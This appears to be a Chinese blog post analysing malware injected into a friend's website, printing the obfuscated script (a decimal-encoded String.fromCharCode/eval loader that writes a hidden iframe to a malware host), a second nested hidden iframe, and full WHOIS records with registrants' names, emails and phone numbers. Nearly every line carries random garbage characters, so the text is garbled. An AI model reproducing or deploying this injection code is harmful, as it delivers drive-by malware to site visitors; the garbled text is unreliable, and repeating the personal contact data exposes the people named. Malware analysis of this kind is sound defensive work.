首发在我的博客里面，
}p L#C TaE&8;H# N http://www.areway.cn/?p=175 Uh8c!CA8:\ U sBtk "I)`g y& 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
'n0u6hCSb T{Y;-m <script>t=’60,105,102,114,97,109,101,
w8> 32,115,114,99,61,104,116,116,112,58,47,47,
*:hHlH* t1 102,114,101,101,46,117,45,117,117,117,46,99,
Ph|\%P`>% 110,47,101,114,114,111,114,46,104,116,109,
)TV{n#n 32,119,105,100,116,104,61,49,48,48,32,104,
~ (/OB
w 101,105,103,104,116,61,48,62,60,47,105,102,
kqyPb$Wy 114,97,109,101,62′;
x ix: =
a t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Fi_JF; euc|G Xs <script>t=’60,105,102,114,97,109,101,32,115,
pv9Z-WCix$ 114,99,61,104,116,116,112,58,47,47,102,114,
:{ Q[kYj 101,101,46,117,45,117,117,117,46,99,110,47,
wJKP=$6n_ 101,114,114,111,114,46,104,116,109,32,119,
P<{N)H 2r 105,100,116,104,61,49,48,48,32,104,101,105,
C A vy S 103,104,116,61,48,62,60,47,105,102,114,97,
%^ z## 7^ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
z6f N)kw document.write(t);</script>
/ R%
Xkb =w <;tb <html xmlns=”
}* s%|!{H http://www.w3.org/1999/xhtml A9L
{c!|- “>
eJ
O+ MurO <head>
\>@QJ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
LIZsDTU <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
%
A8dO+W <title>首页 - 爱生活家庭网
7C"&f *lEi ]E !b& 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
EvQMt0[?EW 转换字符串后的大概内容是（谁点击后果自付）：
m0zbG1OE <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
d Z"w2ho N(@B3%H2/J 查询玉米u-uuu.cn的详细信息：
oe*Y(T\G Domain Name: u-uuu.cn
C`LHFqv ROID: 20070901s10001s64972306-cn
F vt5vQ Domain Status: ok
G 34fxhh Registrant Organization: 王雷
>^5U XQr Registrant Name: 王雷
MhXJ /bup Administrative Email:
czlovexs@126.com =2rkaBF C Sponsoring Registrar: 北京万网志成科技有限公司
Sdn4y(&TP Name Server:ns.yovole.com
./# F,^F2 Name Server:ns1.yovole.com
-SGo E= Registration Date: 2007-09-01 17:54
g= 5vnY Expiration Date: 2008-09-01 17:54
[@LA<Z_ 最后PING了一下地址 都没有什么….
y>YQx\mK &W@#p G 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
y 6C3u5` <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
XD= p:Ezh <script language=”javascript” src=”
VQ,;~^Td http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script aUTXg60l* >
+i0j 3. 这个玉米应该有可能是木马作者的：
B
!}/4 " foafau.info的详细信息：
;Or]x ?- Access to INFO WHOIS information is provided to assist persons in
4ZAnq{nR4 determining the contents of a domain name registration record in the
PZjK6]N\ Afilias registry database. The data in this record is provided by
"f5 neW Afilias Limited for informational purposes only, and Afilias does not
: 3 aZ_ guarantee its accuracy. This service is intended only for query-based
z:7
i@m access. You agree that you will use this data only for lawful purposes
c> }f y and that, under no circumstances will you use this data to: (a) allow,
v:7_ZD6kR
enable, or otherwise support the transmission by e-mail, telephone, or
gf\F%VmSN facsimile of mass unsolicited, commercial advertising or solicitations
lc qpwSk to entities other than the data recipient’s own existing customers; or
)GC9%mF; (b) enable high volume, automated, electronic processes that send
Uxl7O 4J@H queries or data to the systems of Registry Operator, a Registrar, or
} S,KUH. Afilias except as reasonably necessary to register domain names or
#i1z&b#@ modify existing registrations. All rights reserved. Afilias reserves
zY^QZceq" the right to modify these terms at any time. By submitting this query,
Y$\c_#/] you agree to abide by this policy.
XJI
ff$K Domain ID:D22418703-LRMS
8v V<A*` Domain Name:FOAFAU.INFO
)U5Ba^"fI Created On:20-Nov-2007 16:05:42 UTC
WPpS? Last Updated On:20-Nov-2007 16:05:44 UTC
X<*-d6?gD` Expiration Date:20-Nov-2008 16:05:42 UTC
1> IA9]D7 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
=(cfo _B@K Status:CLIENT DELETE PROHIBITED
8uD% Status:CLIENT RENEW PROHIBITED
EjDr
Status:CLIENT TRANSFER PROHIBITED
j+6`nN7L Status:CLIENT UPDATE PROHIBITED
%~ $coZY^ Status:TRANSFER PROHIBITED
"t!_b ma Registrant ID:GODA-040110615
+{dJGPoY]p Registrant Name:liu hong
La 9:qpj Registrant Organization:
_>=QZ`!r Registrant Street1:beijing
z1vSt[s Registrant Street2:
X7Z=@d( Registrant Street3:
:)g}x&A^$ Registrant City:beijing
Y0B d[ Registrant State/Province:
H2oD0f| Registrant Postal Code:100000
,\^RyHg Registrant Country:CN
NS3qN j
Registrant Phone:+86.860108888777
57`*5X Registrant Phone Ext.:
t*dd/a Registrant FAX:
]~d !<x#+ Registrant FAX Ext.:
}h=}!R'm Registrant Email:bbbshiji@163.com
r
t\eze_5A Admin ID:GODA-240110615
sOb=+u$$9 Admin Name:liu hong
K^f&+`v6_ Admin Organization:
2}xvM"k=k Admin Street1:beijing
$dkkgsw 7 Admin Street2:
ToE^%J4 Admin Street3:
s.j6"
Q[W Admin City:beijing
2'T uS? Admin State/Province:
:v o#( Admin Postal Code:100000
C
$*#<<G Admin Country:CN
qku}cWD9/_ Admin Phone:+86.860108888777
R
Y ";SfYb Admin Phone Ext.:
a"bael Admin FAX:
H*R4A E0 Admin FAX Ext.:
8L _]_ Admin Email:bbbshiji@163.com
v FWg0 $, Billing ID:GODA-340110615
;t G@ 6 Billing Name:liu hong
Lnl DCbF;! Billing Organization:
P`TJqJiY~ Billing Street1:beijing
>(BAIjF
E\ Billing Street2:
u.9syr Billing Street3:
{}DoRp q= Billing City:beijing
uB>OS 1= Billing State/Province:
3\E G Billing Postal Code:100000
. g8db d Billing Country:CN
,]H2F']4Z Billing Phone:+86.860108888777
{No
Y`j5S Billing Phone Ext.:
G^&P'* Billing FAX:
zya2 O?s Billing FAX Ext.:
3u@=]0ZN Billing Email:bbbshiji@163.com
"?r_ A*U Tech ID:GODA-140110615
*EllE+M{n Tech Name:liu hong
W+`T: Mgh Tech Organization:
L yNLz
m5 Tech Street1:beijing
@; `d\lQ Tech Street2:
M=#'+CF}W Tech Street3:
.
l-eJ Tech City:beijing
D V=xqC6} Tech State/Province:
;Yu|LaI\<m Tech Postal Code:100000
!.@F,wZvY Tech Country:CN
i(an]%'v Tech Phone:+86.860108888777
kJk6lPSqi7 Tech Phone Ext.:
b/6!>qMMk% Tech FAX:
k4+ Q$3" Tech FAX Ext.:
f`bRg8v Tech Email:bbbshiji@163.com
|DkK7gw Name Server:NS27.DOMAINCONTROL.COM
0 + 3{fD/ Name Server:NS28.DOMAINCONTROL.COM
fp?cb2'7 Name Server:
<Wa7$ h F Name Server:
^
RIWW0 Name Server:
Y^-D'2P]P Name Server:
=cWg 39$(I Name Server:
I~) A!vp Name Server:
NT;cTa=; Name Server:
cxpG6c Name Server:
5# B M Name Server:
9^1li2z k{ Name Server:
Tu&W7aoX5 Name Server:
H{ I,m- Kdr} 7#c 接着下载每个文件里面的代码：
$8 WeWmY 一步一步看..
*yqke<o9) 
O6$n VpD3 
X3R:^ff\ 
V#TNv 0&0 
<K {|#ND# 
8)XAdAr 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
